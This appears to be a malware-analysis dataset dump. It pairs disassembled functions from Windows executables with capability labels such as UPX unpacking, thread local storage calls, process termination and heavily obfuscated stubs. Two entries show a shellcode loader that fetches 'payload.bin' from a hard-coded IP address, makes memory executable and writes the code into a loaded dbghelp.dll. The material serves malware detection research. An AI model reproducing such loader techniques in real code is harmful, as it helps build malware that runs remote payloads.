joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003520
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000356a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000356a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000356a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000356a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000356a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000356c
xor al, al
add rsp, 0x28
ret

Function at 0x408620
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
jmp 0x40863a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x408641
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x408630
mov eax, 1
add ebx, ebx
jne 0x408653
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x408648
jne 0x408664
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x408648
xor ecx, ecx
sub eax, 3
jb 0x408678
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4086ea
mov ebp, eax
add ebx, ebx
jne 0x408683
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x408690
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4086b4
inc ecx
add ebx, ebx
jne 0x4086a0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x408695
jne 0x4086b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x408695
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4086d4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4086c5
jmp 0x408636
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4086d4
add edi, ecx
jmp 0x408636
pop esi
mov edi, esi
mov ecx, 1
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4086f2
cmp byte [edi], 1
jne 0x4086f2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4086f7
lea edi, [esi + 0x6000]
mov eax, dword [edi]
or eax, eax
je 0x40876f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8f64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8fbc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x408724
mov ecx, edi
jns 0x408753
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8fc4]
or eax, eax
je 0x408769
mov dword [ebx], eax
add ebx, 4
jmp 0x408741
call dword [esi + 0x8fc0]
mov ebp, dword [esi + 0x8fc8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1d7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4087a3
sub esp, 0xffffff80
jmp 0x4010e0
Function at 0x10000124c
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.100001180
add rsp, 0x28
jmp 0x100001270
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push r13
sub rsp, 0xb0
xor ebx, ebx
mov dword [rsp + 0x20], ebx
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov r12d, ebx
xor eax, eax
lock cmpxchg qword [section..data], rdi
jne 0x10000169f
mov eax, dword [0x100003014]
cmp eax, 1
je 0x1000016bf
mov eax, dword [0x100003014]
cmp eax, ebx
jne 0x1000016d6
mov dword [0x100003014], 1
lea r13, [0x100002168]
lea rdi, [0x100002150]
mov qword [rsp + 0x30], rdi
mov eax, ebx
mov dword [rsp + 0x24], ebx
cmp rdi, r13
jae 0x10000131c
cmp eax, ebx
jne 0x10000131c
mov rcx, qword [rdi]
cmp rcx, rbx
je 0x100001311
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x1000012fa
cmp eax, ebx
jne 0x1000016cc
mov eax, dword [0x100003014]
cmp eax, 1
jne 0x10000134c
lea rdx, [0x100002148]
lea rcx, [0x100002138]
call fcn.100164000
mov dword [0x100003014], 2
cmp r12d, ebx
jne 0x10000135b
mov rax, rbx
xchg qword [section..data], rax
cmp qword [0x1000035d8], rbx
jne 0x1000016e5
mov rcx, qword [sym.imp.msvcrt.dll__wcmdln]
cmp qword [rcx], rbx
je 0x10000170e
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [rcx], 0x20
jbe 0x1000013ab
cmp word [rcx], 0x22
je 0x100001741
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x100001390
cmp word [rcx], bx
je 0x1000013b4
cmp edx, ebx
jne 0x100001396
cmp word [rcx], bx
je 0x1000013ca
cmp word [rcx], 0x20
ja 0x1000013ca
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1000013b4
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x100000000]
call fcn.100001400
nop
jmp 0x100001715
cmp rax, rdi
jne 0x1000016af
mov r12d, 1
jmp 0x1000012ba
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000012a9
lea ecx, [rax + 0x1e]
call sub.msvcrt.dll__amsg_exit
jmp 0x100001324
mov eax, 0xff
jmp 0x100001780
mov dword [0x1000036e4], 1
jmp 0x100001324
lea rcx, [0x1000035d8]
call fcn.1000018fc
cmp eax, ebx
je 0x100001368
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x1000035d8]
nop
jmp 0x100001368
mov eax, 0xff
jmp 0x100001780
mov dword [0x1000036e0], eax
cmp dword [0x100003008], ebx
jne 0x10000172b
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1000036e4], ebx
jne 0x10000173f
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1000036e0]
jmp 0x100001780
mov eax, ebx
cmp edx, ebx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
jmp 0x1000013a0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r12, qword [r11 + 0x20]
mov rsp, r11
pop r13
ret
Function at 0x1400011ea
Capabilities:
Execute shellcode via indirect call

Disassembly:
jmp 0x140001c20
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x88
mov rcx, qword [rsp + 0xa8]
mov rcx, qword [rcx]
call fcn.14000121c
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x1c
jbe 0x140001c54
xor eax, eax
jmp 0x140001d3d
lea r9, str.payload.bin
mov r8d, 0x118
lea rdx, str.154.213.17.145
lea rcx, [rsp + 0x58]
call fcn.140001253
lea rdi, [rsp + 0x68]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x48]
lea rsi, [rsp + 0x68]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x28]
lea rsi, [rsp + 0x48]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rsp + 0x28], 0
je 0x140001d3b
lea rcx, str.dbghelp.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x140001d1c
mov rcx, qword [rsp + 0x38]
add rcx, 0x1000
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov rdx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rdi, qword [rsp + 0x38]
add rdi, 0x1000
mov rsi, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rsp + 0x28]
call fcn.1400066f0
mov rax, qword [rsp + 0x38]
add rax, 0x1000
call rax
jmp 0x140001d3b
lea r9, [rsp + 0x44]
mov r8d, 0x20
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [rsp + 0x28]
xor eax, eax
add rsp, 0x88
pop rdi
pop rsi
ret
Function at 0x140001c20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x140001c20
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x88
mov rcx, qword [rsp + 0xa8]
mov rcx, qword [rcx]
call fcn.14000121c
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x1c
jbe 0x140001c54
xor eax, eax
jmp 0x140001d3d
lea r9, str.payload.bin
mov r8d, 0x118
lea rdx, str.154.213.17.145
lea rcx, [rsp + 0x58]
call fcn.140001253
lea rdi, [rsp + 0x68]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x48]
lea rsi, [rsp + 0x68]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x28]
lea rsi, [rsp + 0x48]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rsp + 0x28], 0
je 0x140001d3b
lea rcx, str.dbghelp.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x140001d1c
mov rcx, qword [rsp + 0x38]
add rcx, 0x1000
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov rdx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rdi, qword [rsp + 0x38]
add rdi, 0x1000
mov rsi, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rsp + 0x28]
call fcn.1400066f0
mov rax, qword [rsp + 0x38]
add rax, 0x1000
call rax
jmp 0x140001d3b
lea r9, [rsp + 0x44]
mov r8d, 0x20
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [rsp + 0x28]
xor eax, eax
add rsp, 0x88
pop rdi
pop rsi
ret
Function at 0x140008a77
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14008b0d0]
jne 0x140005aca
rol rcx, 0x10
test cx, 0xffff
jne 0x140005ac6
repz ret
ror rcx, 0x10
jmp 0x1400089d0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14008cd20]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x14008ce18]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140008a55
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14008cd20]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140008a77
mov rax, qword [rsp + 0x88]
mov qword [0x14008ce18], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14008cdb8], rax
mov rax, qword [0x14008ce18]
mov qword [0x14008cc90], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14008cda0], rax
mov dword [0x14008cc80], 0xc0000409
mov dword [0x14008cc84], 1
mov rax, qword [0x14008b0d0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14008b0d8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14008cd18], eax
mov ecx, 1
call fcn.140011e40
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400766c0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14008cd18], 0
jne 0x140008afe
mov ecx, 1
call fcn.140011e40
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140062834
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140048920
sub rsp, rax
mov rax, qword [0x14010a0d0]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14005eb48
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140062883
mov rax, rbp
jmp 0x14006298b
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x12d1d0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1400637a4
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x12d1d0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140062987
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140062987
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1400637a4
test rax, rax
js 0x140062987
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140062987
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140062979
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140062979
cmp byte [rcx], 0xd
jne 0x14006295f
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14006296e
cmp byte [rcx + 1], 0xa
jne 0x14006296e
inc rcx
jmp 0x14006296e
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x10a4f0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140062941
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14006298b
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140047b00
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14014482e
Capabilities:
Set thread local storage value

Disassembly:
push rax
pushf
mov eax, 0xfe3c5bd
pushf
not eax
add eax, 0xfcf86887
xor eax, 0xa3e13cf1
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xecb5b284
xor eax, 0xa8445017
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xfcf23b32
xor eax, 0xe267c847
rol eax, 0x9c
popf
cmp eax, 2
jne 0x14014487e
popf
pop rax
jmp 0x1401449d9
cmp eax, 0
jne 0x14014488d
popf
pop rax
jmp 0x1401448ab
cmp eax, 3
jne 0x14014489c
popf
pop rax
jmp 0x140144a25
cmp eax, 1
jne 0x1401448ab
popf
pop rax
jmp 0x1401449d0
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
lea r9, [0x1ba73da59]
pushf
sub r9, 0x7a6c6979
popf
mov edi, ecx
lea rdx, [0x185ee0058]
pushf
sub rdx, 0x45e68f78
popf
mov ecx, 0x247f0e2e
pushf
not ecx
add ecx, 0x8e69aabb
xor ecx, 0x9287f3b8
rol ecx, 0x62
popf
pushf
not ecx
add ecx, 0x848ededa
xor ecx, 0xd9893516
rol ecx, 0x4a
popf
pushf
not ecx
add ecx, 0xda5f7002
xor ecx, 0x96032ec4
rol ecx, 0xe6
popf
lea r8, [0x1aa007c60]
pushf
sub r8, 0x69f90b88
popf
call fcn.14004e24c
mov rdx, rbx
mov ecx, edi
test rax, rax
je 0x140144989
push rax
pushf
mov eax, 0xfc507914
pushf
not eax
add eax, 0xa7aee1ca
xor eax, 0xf7a37188
rol eax, 0x7f
popf
pushf
not eax
add eax, 0x94cb66e1
xor eax, 0x92e4bb07
rol eax, 0x65
popf
pushf
not eax
add eax, 0x8bf55012
xor eax, 0xf6a92763
rol eax, 0xa
popf
jmp 0x14014486f
push rax
pushf
mov eax, 0x484a18bb
pushf
not eax
add eax, 0x8f3ae923
xor eax, 0xa116ab5a
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xd5298f30
xor eax, 0x818ca236
rol eax, 0x84
popf
pushf
not eax
add eax, 0xe6028409
xor eax, 0xd9cea7a4
rol eax, 0x40
popf
jmp 0x14014486f
call qword [case.0x140175fcb.0]
jmp 0x140144a25
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
push rax
pushf
mov eax, 0x8549dd64
pushf
not eax
add eax, 0x87caf22c
xor eax, 0xe459ab38
rol eax, 0x91
popf
pushf
not eax
add eax, 0x95aaffd4
xor eax, 0xe7e27e41
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xb52da34e
xor eax, 0xed4a10b5
rol eax, 0xf0
popf
jmp 0x14014486f
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14017b731
Capabilities:
Authenticate hmac
Hash data using murmur3

Disassembly:
push rax
pushf
mov eax, 0x7a635d10
pushf
not eax
add eax, 0xd1be6338
xor eax, 0xb231b2a3
rol eax, 0x54
popf
pushf
not eax
add eax, 0xe7d2e12f
xor eax, 0x9f848a83
rol eax, 0x2a
popf

Function at 0x14017d3c4
Capabilities:
Authenticate hmac

Disassembly:
push rax
pushf
mov eax, 0x301f52d
pushf
not eax
add eax, 0xa2284112
xor eax, 0xcdfaed48
rol eax, 0x40
popf
pushf
not eax
add eax, 0xf099df59
xor eax, 0x9dbd38ac
rol eax, 0xad
popf
Function at 0x1401b3651
Capabilities:
Get thread local storage value

Disassembly:
push rax
pushf
mov eax, 0x714d460d
pushf
not eax
add eax, 0x8d729485
xor eax, 0x802d00e7
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xefdfcf64
xor eax, 0xd2be8821
rol eax, 0x3c
popf
pushf
not eax
add eax, 0x9fca08b6
xor eax, 0xf893b6b2
rol eax, 0x77
popf
cmp eax, 2
jne 0x1401b36a1
popf
pop rax
jmp 0x1401b37d2
cmp eax, 0
jne 0x1401b36b0
popf
pop rax
jmp 0x1401b36bf
cmp eax, 1
jne 0x1401b36bf
popf
pop rax
jmp 0x1401b37c6
push rbx
sub rsp, 0x20
mov ebx, ecx
lea r9, [0x194dcf476]
pushf
sub r9, 0x54d583ae
popf
mov ecx, 0x587f41da
pushf
not ecx
add ecx, 0x872d2c66
xor ecx, 0x8255450b
rol ecx, 0x68
popf
pushf
not ecx
add ecx, 0xf5a59c69
xor ecx, 0xd381e24c
rol ecx, 0xa9
popf
pushf
not ecx
add ecx, 0xb51f67ce
xor ecx, 0x852b876f
rol ecx, 0x63
popf
lea r8, [0x1876c3907]
pushf
sub r8, 0x4764c847
popf
lea rdx, [0x1a9e3bb04]
pushf
sub rdx, 0x69dc4a3c
popf
call fcn.14004e24c
mov ecx, ebx
test rax, rax
je 0x1401b3780
push rax
pushf
mov eax, 0xb200e8cf
pushf
not eax
add eax, 0x88a83415
xor eax, 0xc2b2a8d3
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xefd645eb
xor eax, 0x9f5eb792
rol eax, 0xcb
popf
jmp 0x1401b3692
push rax
pushf
mov eax, 0xd3d06b05
pushf
not eax
add eax, 0xaa7bead5
xor eax, 0xdb00b03a
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xc8427e3b
xor eax, 0xa47d1613
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xc728e7b3
xor eax, 0xa9b82c94
rol eax, 0x5f
popf
jmp 0x1401b3692
add rsp, 0x20
pop rbx
jmp qword [case.0x140175fcb.0]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x1401c15ee
Capabilities:
Allocate thread local storage

Disassembly:
push rax
pushf
mov eax, 0xd3579bb4
pushf
not eax
add eax, 0xeedd3a61
xor eax, 0xe63ecc4e
rol eax, 0x43
popf
pushf
not eax
add eax, 0x91791849
xor eax, 0xd250474c
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xeeed4cd5
xor eax, 0xff1c0206
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xe76c3d7f
xor eax, 0xe85b8855
rol eax, 0x26
popf
cmp eax, 2
jne 0x1401c1651
popf
pop rax
jmp 0x1401c1741
cmp eax, 0
jne 0x1401c1660
popf
pop rax
jmp 0x1401c166f
cmp eax, 1
jne 0x1401c166f
popf
pop rax
jmp 0x1401c1732
push rbx
sub rsp, 0x20
mov rbx, rcx
lea r9, [0x19f4d9fa3]
pushf
sub r9, 0x5f462f03
popf
xor ecx, ecx
lea r8, [0x1bcc8155b]
pushf
sub r8, 0x7cc0a4c3
popf
lea rdx, [0x19a720455]
pushf
sub rdx, 0x5a6a93b5
popf
call fcn.14004e24c
test rax, rax
je 0x1401c1700
push rax
pushf
mov eax, 0xbf29114e
pushf
not eax
add eax, 0x889ed9b3
xor eax, 0x98a586a6
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xff99cfbc
xor eax, 0xfd9a3e47
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xfddb491a
xor eax, 0xc2dc6c31
rol eax, 0x13
popf
jmp 0x1401c1642
push rax
pushf
mov eax, 0x6e3029b3
pushf
not eax
add eax, 0xe6fc0cf6
xor eax, 0xd03dcc2a
rol eax, 0xca
popf
pushf
not eax
add eax, 0xce49cdec
xor eax, 0xf58c2b49
rol eax, 1
popf
jmp 0x1401c1642
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp qword [case.0x140175fcb.0]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsAlloc]
Function at 0x1401fecc2
Capabilities:
Hash data using murmur3

Disassembly:
push rax
pushf
mov eax, 0xa764bcf6
pushf
not eax
add eax, 0x9d61e873
xor eax, 0xdd02f503
rol eax, 0x32
popf
pushf
not eax
add eax, 0xbbc6de6a
xor eax, 0xce25e68b
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xb5f8cd22
xor eax, 0xfb7c79f8
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xb3e225ee
xor eax, 0xb17900c9
rol eax, 0xc7
popf
cmp eax, 2
jne 0x1401fed25
popf
pop rax
jmp 0x1401fedec
cmp eax, 0
jne 0x1401fed34
popf
pop rax
jmp 0x1401fed52
cmp eax, 3
jne 0x1401fed43
popf
pop rax
jmp 0x1401fee90
cmp eax, 1
jne 0x1401fed52
popf
pop rax
jmp 0x1401fedd4
sub rsp, 0x28
test rcx, rcx
jne 0x1401fed8e
push rax
pushf
mov eax, 0x3b474685
pushf
not eax
add eax, 0xd96181b4
xor eax, 0xd8f721d3
rol eax, 0xb9
popf
pushf
not eax
add eax, 0x9d8fdcdd
xor eax, 0xa30a02a7
rol eax, 0xed
popf
jmp 0x1401fed16
push rax
pushf
mov eax, 0x56050b49
pushf
not eax
add eax, 0xaf679dd5
xor eax, 0xaa3f427e
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xa78d27eb
xor eax, 0xcb4a08cb
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xf6c56d23
xor eax, 0xeec360ad
rol eax, 0xcb
popf
jmp 0x1401fed16
call fcn.1402298c4
mov dword [rax], socket
call fcn.1402a5aaf
or eax, 0xffffffff
add rsp, 0x28
ret
test rdx, rdx
je 0x1401fee37
push rax
pushf
mov eax, 0x500b400b
pushf
not eax
add eax, 0xb7f1789e
xor eax, 0xb593e1a2
rol eax, 0xce
popf
pushf
not eax
add eax, 0xf1001ff6
xor eax, 0xbf8bb4ee
rol eax, 0xee
popf
pushf
not eax
add eax, 0xc53aa1b5
xor eax, 0xad4cf06a
rol eax, 0xbe
popf
jmp 0x1401fed16
push rax
pushf
mov eax, 0x77231842
pushf
not eax
add eax, 0xf4e7c03b
xor eax, 0xe7a73e69
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xe5ee281d
xor eax, 0x84e074ab
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xedc413c7
xor eax, 0xdfe3a234
rol eax, 0x74
popf
pushf
not eax
add eax, 0xbba93c23
xor eax, 0x9495b92c
rol eax, 0x7f
popf
jmp 0x1401fed16
mov rdx, qword [rdx]
xor r8d, r8d
add rsp, 0x28
jmp fcn.1402aff69
Function at 0x140205d1a
Capabilities:
Terminate process

Disassembly:
push rax
pushf
mov eax, 0x46cbf3c2
pushf
not eax
add eax, 0xc3ed984a
xor eax, 0xf39503a0
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x92b2c3c9
xor eax, 0x89f7b349
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x92dee6a4
xor eax, 0xae9a8e81
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xe83d14fb
xor eax, 0xcc7292a0
rol eax, 0xdd
popf
cmp eax, 2
jne 0x140205d7d
popf
pop rax
jmp 0x140205e25
cmp eax, 0
jne 0x140205d8c
popf
pop rax
jmp 0x140205d9b
cmp eax, 1
jne 0x140205d9b
popf
pop rax
jmp 0x140205e13
push rbx
sub rsp, 0x20
mov ebx, ecx
call fcn.1402a4663
test al, al
je 0x140205ddf
push rax
pushf
mov eax, 0x33b80e13
pushf
not eax
add eax, 0xc551f88a
xor eax, 0xdd731af5
rol eax, 4
popf
pushf
not eax
add eax, 0xb095b7dc
xor eax, 0xe1e6afb7
rol eax, 0x5c
popf
jmp 0x140205d6e
push rax
pushf
mov eax, 0xb47d0028
pushf
not eax
add eax, 0x8893a300
xor eax, 0xd487e279
rol eax, 0x63
popf
pushf
not eax
add eax, 0xe49e1c9f
xor eax, 0xe054172e
rol eax, 0xb
popf
jmp 0x140205d6e
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, ebx
jmp 0x140205e1f
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, ebx
call fcn.1401f830f
mov ecx, ebx
jmp 0x140205e2f
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140231cde
Capabilities:
Get geographical location

Disassembly:
push rax
pushf
mov eax, 0x7eb99858
pushf
not eax
add eax, 0xa6096396
xor eax, 0xb4ec164a
rol eax, 0x73
popf
pushf
not eax
add eax, 0xf7a842ed
xor eax, 0xc9b5d2a2
rol eax, 0x77
popf
pushf
not eax
add eax, 0xa919b963
xor eax, 0xf2b88a27
rol eax, 0x11
popf
cmp eax, 2
jne 0x140231d2e
popf
pop rax
jmp 0x140231f08
cmp eax, 0
jne 0x140231d3d
popf
pop rax
jmp 0x140231d5b
cmp eax, 3
jne 0x140231d4c
popf
pop rax
jmp 0x140231f7c
cmp eax, 1
jne 0x140231d5b
popf
pop rax
jmp 0x140231e9f
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov ebx, r9d
mov rdi, r8
mov esi, edx
lea r9, [0x1af243ebd]
pushf
sub r9, 0x6f1c8835
popf
mov rbp, rcx
lea r8, [0x19a4cfbec]
pushf
sub r8, 0x5a45456c
popf
lea rdx, [0x18ca542a7]
pushf
sub rdx, 0x4c9d8c1f
popf
mov ecx, 0x15e7edb
pushf
not ecx
add ecx, 0x9c321e4a
xor ecx, 0xdb2002a0
rol ecx, 0xb7
popf
pushf
not ecx
add ecx, 0xf66489e3
xor ecx, 0xd93f524b
rol ecx, 0xf5
popf
pushf
not ecx
add ecx, 0x9ed5dd79
xor ecx, 0xf075cab3
rol ecx, 8
popf
pushf
not ecx
add ecx, 0xf119fab0
xor ecx, 0x8252a70c
rol ecx, 0xa2
popf
call fcn.1400619f0
test rax, rax
je 0x140231e59
push rax
pushf
mov eax, 0x251aa80
pushf
not eax
add eax, 0xa0a8f690
xor eax, 0x8ee3218c
